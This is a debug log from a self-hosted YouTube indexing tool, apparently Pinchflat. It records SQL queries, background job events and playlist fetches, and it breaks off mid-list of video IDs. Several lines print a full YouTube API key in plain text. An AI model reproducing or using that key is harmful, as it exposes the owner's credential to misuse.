s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:31.697 [debug] Fetching recent media IDs from YouTube API for playlist: UU3KEoMzNz8eYnwBC34RaKCQ 16:06:31.697 [debug] QUERY OK source="settings" db=0.0ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:31.697 [debug] Fetching recent media IDs from YouTube API for playlist: UUSOpcUkE-is7u7c4AkLgqTw 16:06:31.697 [debug] QUERY OK source="settings" db=0.0ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:31.697 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:06:31.697 [debug] QUERY OK source="settings" db=0.1ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:31.697 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:06:31.835 [debug] QUERY OK source="media_items" db=0.9ms idle=136.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [12, "qPHwRGTGIOU", "GPSNT5vjSO8", "DwdL0AuomMU", "rzw4qL_UYms", "SbfGsYGmtvo", "aDMmIaj6YYY", "EapmwCmB2ZU", "wNqOyIOkE0g", "2JE39EiF7QY", "v3CorAvJSj8", "TkTLGcowRjo", "8EjtJZpkuDE", "VevHScaB_Kk", "0rXpncpkLcw", "4w68dxCyjLg", "4lf3C1Jv0sE", "bfKoARppLGw", "ILWWKspXrwY", "FRms-dKHwe8", "yfw74KelJFk", "JXbldzWu-Nc", "3lXAPC-8IC4", "slVuVPAUNI4", "cwNSjMBnZYA", "N1CGq7zSjjM", "0lc3PF49yOQ", "rYivduQ5Xww", "5JfhSmrKK3A", "-4VeoAkKFg4", "Lztt0KYUpRU", "efwg7hwFbeU", "tdU3lMg5K2A", "O8PKhwdFXHk", "vEfPCID6jf4", "e2Kb6Z1oGrc", "7gTz_JmlYtQ", "H175G8NH2Cg", "3EoARmGYyVc", "ogYzdHzumeA", "nrioXZyigd8", "kq3Q7jlcDDQ", "8iprAik8kjk", "yRzc5_uGNO4", "7qTWoV6WUV4", "N1eo5bXtZeM", "QRS3uWoAHBk", "csKezW4PZ2w", "-sDDoW7YAow", "iEAShZ8TJCs", ...] 16:06:31.836 [debug] QUERY OK source="media_items" db=0.7ms idle=138.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [12] 16:06:31.838 [debug] QUERY OK source="tasks" db=0.2ms idle=139.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799886, 12, ~U[2026-02-10 22:06:31Z], ~U[2026-02-10 22:06:31Z]] 16:06:31.838 [info] {"args":{"id":12},"id":3799847,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":141344,"event":"job:stop","queue_time":460493,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:06:31.958 [debug] QUERY OK source="media_items" db=0.6ms idle=119.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [11, "b6cTcdQJ2zQ", "iWi1grPS3pA", "O2e1ccaS34s", "u7Uz1YZ5hQA", "g9PNmvdHTrA", "nGy-c40t2ms", "iRswzm-sFsE", "HiDu9ngFljA", "7HzmabyYgKE", "vlpKMWHJbFQ", "VvANcDa7fJ8", "4yk6HmYKXxs", "0bWl9pZdNNA", "55x-wf8o-7c", "6FlDINylswA", "QJx4LDk2O-8", "0CrkpkKxWfo", "hqmvWpgJCx0", "Ax792f2RbIY", "APT6FONMqFQ", "jTzjkaEKZo8", "1WLIY7oObvU", "01jJv0C_028", "YGTkjchlVJk", "fRRNSEb1DAQ", "lhRp_QECX9g", "eo9_K98nypE", "atYcpCoghnc", "WdxJtYWAhjc", "WczhEQj_g3A", "oN784HF4U5Y", "HLmZAlE-064", "HzxAeHQyiks", "yZ5KOG8BAVU", "HoSf21Arj8A", "Lc5_OKMgfQw", "yD4EoHnztaY", "s8sYp-AcwKk", "bDJNd8XWJIU", "vjrknR9r15o", "_p4RbXLW8aY", "bJ6GRkVCBQU", "iUF8VlcIAyI", "1nuCcmCl-9E", "wqfVfS0_J9M", "905tTzUrd-U", "PMSkzMSFfAo", "QQk7KKQ8jTo", "gVcOnLxnsu0", ...] 16:06:31.959 [debug] QUERY OK source="media_items" db=1.1ms idle=120.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [11] 16:06:31.960 [debug] QUERY OK source="tasks" db=0.1ms idle=115.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799887, 11, ~U[2026-02-10 22:06:31Z], ~U[2026-02-10 22:06:31Z]] 16:06:31.960 [info] {"args":{"id":11},"id":3799848,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":263927,"event":"job:stop","queue_time":356107,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:06:32.697 [info] {"args":{"id":27},"id":3799849,"meta":{},"system_time":1770761192697718805,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:06:32.697 [info] {"args":{"id":28},"id":3799850,"meta":{},"system_time":1770761192697763928,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:06:32.698 [debug] QUERY OK source="sources" db=0.2ms idle=737.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [27] 16:06:32.698 [debug] QUERY OK source="sources" db=0.2ms idle=737.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [28] 16:06:32.698 [debug] QUERY OK source="settings" db=0.1ms idle=731.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:32.698 [debug] QUERY OK source="settings" db=0.1ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:32.698 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:06:32.698 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:06:32.698 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:32.698 [debug] Fetching recent media IDs from YouTube API for playlist: UUJ0-OtVpF0wOKEqT2Z1HEtA 16:06:32.698 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:32.698 [debug] Fetching recent media IDs from YouTube API for playlist: UUuVLG9pThvBABcYCm7pkNkA 16:06:32.699 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:32.699 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:32.699 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:06:32.699 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:06:32.817 [debug] QUERY OK source="media_items" db=0.7ms idle=117.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [27, "vY0-eZ-GGEg", "sWGUo_iiaZE", "HhRgPVNQLww", "yxEh9tnRTbY", "MwTaGjsdxU4", "bdR4HyeABfA", "dJtzXpW15HI", "mqt_FdmDq4k", "DhvkZ8pmXlc", "m51SX5cz9ow", "AsJquvKz07E", "ZsdV3VEyQxY", "vlHmd2-PlfE", "fwLan9mLJLQ", "56Eq3EMYX68", "PB-4WqzXzoA", "lT1v5RdCl6s", "bIMQO0Q4iRc", "YcfKFfOQ9W8", "u8s9hpjN25Y", "rlyU9AMaq9g", "rg1xXCzLdQ0", "myh9AZRK6hI", "qRc9W2ss-GE", "uz6xrE8WZHc", "WnNVgRyWUi8", "ub-Qr2U4DzA", "OSCKBmkrH_g", "2Yjiwz5sxzE", "uASY_3OWFPY", "jUkex-blvkE", "bsfBxs53vBo", "czgTn7UK7A0", "Z_ubhyYgu5Y", "jqlqCIZ3Kfg", "LwMvVo0ui4Q", "fyWiYxOP-xM", "YwwBVKLaBp0", "i04y5n2oTsw", "08ET5Wwg57w", "MavRTdhksZg", "uF_9JGWVV4g", "tUKEzxlfmVE", "NLjiMjJyZoI", "pZaCe-7AEZU", "66Gvth4wHiA", "wBX5sniPBQw", "EQHuOwCGuy8", "RC2lR0Rle5k", ...] 16:06:32.819 [debug] QUERY OK source="media_items" db=0.8ms idle=119.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [27] 16:06:32.819 [debug] QUERY OK source="tasks" db=0.1ms idle=120.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799888, 27, ~U[2026-02-10 22:06:32Z], ~U[2026-02-10 22:06:32Z]] 16:06:32.820 [info] {"args":{"id":27},"id":3799849,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":122200,"event":"job:stop","queue_time":507577,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:06:32.913 [debug] QUERY OK source="media_items" db=0.7ms idle=93.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [28, "XFWTgmV5C84", "l-1TWD7BAYc", "Vf4rTmR_EC4", "qY4rM_-mNTc", "qVrg5eRJVTA", "4jYdMxhwlz4", "wGxXI3DcvN0", "MSFYhYOJMLE", "pc64L0fvGL4", "HUeC39CZO44", "6aheyYXRwqs", "KLYMjPNppRQ", "dcvQMu15N9A", "_1-lCmzdcec", "r1bMJekCiBw", "roIOgtrjFGU", "W4gLOWTbaY0", "Qq62goUHDD4", "NQiLly6Z1xs", "zGhNdyVFLbE", "oE_vom5pfgU", "ElM4NXN22Xk", "DEFBn0r53uQ", "3t9aWDVCqVI", "4anuB72EMWY", "rDFuee41ptI", "0CPHgR8vK0w", "wBC_bug5DIQ", "TDnzDnKOrLo", "thoukYxcB_M", "WG8idKaX9KI", "evcXDcrjAvA", "hIxEkAZe6N0", "SPQrycmrGD8", "Mijk1_861qk", "WH-C47pZM9s", "jucDFrO89Ko", "XusyNT_k-1c", "l_1PLNAvmlM", "cQ3UWS1HekM", "srj2kfeuToE", "8CkgCYPe68Q", "XIj4PlAuLXQ", "lkOd_XPoz9M", "5_HY3RAIJys", "HCXBKttIXzc", "ueYYN--wEAI", "L6_Op38XjFo", "LDYL8zIgtZM", ...] 16:06:32.914 [debug] QUERY OK source="media_items" db=0.3ms idle=94.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [28] 16:06:32.915 [debug] QUERY OK source="tasks" db=0.0ms idle=88.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799889, 28, ~U[2026-02-10 22:06:32Z], ~U[2026-02-10 22:06:32Z]] 16:06:32.915 [info] {"args":{"id":28},"id":3799850,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":217991,"event":"job:stop","queue_time":433114,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:06:34.700 [info] {"args":{"id":16},"id":3799851,"meta":{},"system_time":1770761194700745275,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:06:34.701 [debug] QUERY OK source="sources" db=0.1ms idle=1784.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [16] 16:06:34.701 [debug] QUERY OK source="settings" db=0.1ms idle=1779.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:34.701 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1008.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:06:34.701 [debug] QUERY OK source="settings" db=0.1ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:34.701 [debug] Fetching recent media IDs from YouTube API for playlist: UUBa659QWEk1AI4Tg--mrJ2A 16:06:34.701 [debug] QUERY OK source="settings" db=0.1ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:06:34.702 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:06:34.819 [debug] QUERY OK source="media_items" db=0.9ms idle=117.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [16, "7DKv5H5Frt0", "F0JDK_71yDg", "Zl_5LT2fzak", "hNZy603as5w", "pU9sHwNKc2c", "LDiXNsWQzD0", "jplrbxI5GN8", "lIbfMjZ0ME4", "CmZdGo6b5yA", "j3OqAN4ISOw", "XQIu5tZ0vbQ", "CkZyZFa5qO0", "ZgDBIzClmPg", "QqRREz0iBes", 